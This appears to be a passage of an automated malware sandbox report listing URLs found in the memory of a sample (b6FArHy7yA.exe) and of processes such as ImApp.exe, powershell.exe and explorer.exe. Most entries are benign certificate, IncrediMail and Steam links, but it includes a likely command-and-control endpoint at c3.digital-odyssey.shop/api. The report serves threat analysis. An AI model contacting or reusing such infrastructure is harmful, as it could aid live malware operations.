Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/italian/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/italian/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/portuguese/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/portuguese/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/russian/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/russian/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/schinese/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/schinese/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/spanish/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/spanish/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/swedish/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/swedish/?search=
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/tchinese/
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.incredimail.com/tchinese/?search=
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://mystart.photojoy.comhttp://mystart.incredigames.comhttp://mystart.hiyo.comhttp://mystart.mage
Source: powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: ImApp.exe, 00000007.00000003.3522199215.000000000BD03000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/https://store.steampowered.com/legal/
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: ImApp.exe, 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000007.00000000.3332608140.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000008.00000000.3526042681.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 00000008.00000002.3741181670.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000000.3777136113.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000002.3965535371.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000002.4139253313.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000000.3777977779.0000000000422000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www./favicon.icoicoCSftTreeSplitCSftTree
Source: powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: more.com, 00000009.00000002.3822706895.00000000060A0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4561429108.0000000002EBB000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtdtls:
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredibarvuz.com/download.aspPREMIUM_NAMEPlusPLUS_NAMESupportEmailsupport
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611220
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611221
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611852
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611853
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611856
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611857
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611860
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611861
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611864
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611865
Source: ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611868
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611869
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611872
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611873
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611876
Source: ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/?id=611877
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/download.aspxproductlicenseproduct_directuserHideSoftware
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/english/sc/sc_download.aspBonusContentsLinkbounscontentsPurchaseThanksLin
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www.incredimail.com/redir.asp?ad_id=109
Source: powershell.exe, 00000005.00000002.4574419637.00000000085AA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571546220.0000000007390000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524316132.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3524503185.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImLookExU.dll.7.dr, wlessfp1.dll.5.dr, ImNtUtilU.dll.5.dr	String found in binary or memory: http://www.incredimail.com0
Source: ImApp.exe, 00000007.00000002.3545059158.000000000AE9C000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3752141848.000000000A6D9000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.3822071169.0000000004AAB000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3972015789.000000000A591000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4150734794.000000000A6F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4563869306.0000000005088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: ImApp.exe, 00000007.00000002.3529061747.000000000219B000.00000004.00000001.01000000.00000011.sdmp, ImApp.exe, 00000008.00000002.3743964211.000000000219B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000B.00000002.3966244073.000000000224B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000C.00000002.4140491818.000000000219B000.00000004.00000001.01000000.0000001F.sdmp	String found in binary or memory: http://www.softelvdm.com/cgibin/store/checkupdate.cgi
Source: ImApp.exe, 00000007.00000002.3529061747.000000000219B000.00000004.00000001.01000000.00000011.sdmp, ImApp.exe, 00000008.00000002.3743964211.000000000219B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000B.00000002.3966244073.000000000224B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000C.00000002.4140491818.000000000219B000.00000004.00000001.01000000.0000001F.sdmp	String found in binary or memory: http://www.softelvdm.com/cgibin/store/checkupdate.cgi?VERSION=opendemoexpi%ldAutoUpdateSoftware
Source: ImApp.exe, 00000007.00000002.3529061747.000000000219B000.00000004.00000001.01000000.00000011.sdmp, ImApp.exe, 00000008.00000002.3743964211.000000000219B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000B.00000002.3966244073.000000000224B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000C.00000002.4140491818.000000000219B000.00000004.00000001.01000000.0000001F.sdmp	String found in binary or memory: http://www.softelvdm.com/login
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htmhttps://store.steampowered.com/steam_refunds/responsive_page_m
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www8.incredimail.com/emoticons.aspxVipSupportLinkvipsupporthttp://www.incredimail.com/app/?ta
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www8.incredimail.com/report_crash.asp
Source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://www8.incredimail.com/report_crash.asp_General
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: b6FArHy7yA.exe, 00000000.00000003.2509600056.00000000032AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 00000005.00000002.4563026463.0000000004FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://360.net
Source: powershell.exe, 00000005.00000002.4563026463.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://360.net/
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/666b05f19d70a77977aa10f693ad8726a9361fd4_full.jpg
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/666b05f19d70a77977aa10f693ad8726a9361fd4_full.jpghttps://
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/d841f3f316558f175f6c553e0cd14e029c430329_medium.jpg
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/d841f3f316558f175f6c553e0cd14e029c430329_medium.jpghttps:
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/f221d75fc9ce646531d6584d794bfd9c580b4809_medium.jpg
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000615C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb.jpg
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000615C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_medium.jpg
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/
Source: b6FArHy7yA.exe, b6FArHy7yA.exe, 00000000.00000002.2776284981.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2446211558.0000000003290000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2630285815.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2509216469.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2631212950.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2772920117.00000000006AC000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2773060844.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2643673826.00000000006C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/api
Source: b6FArHy7yA.exe, 00000000.00000003.2376276964.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/api)0
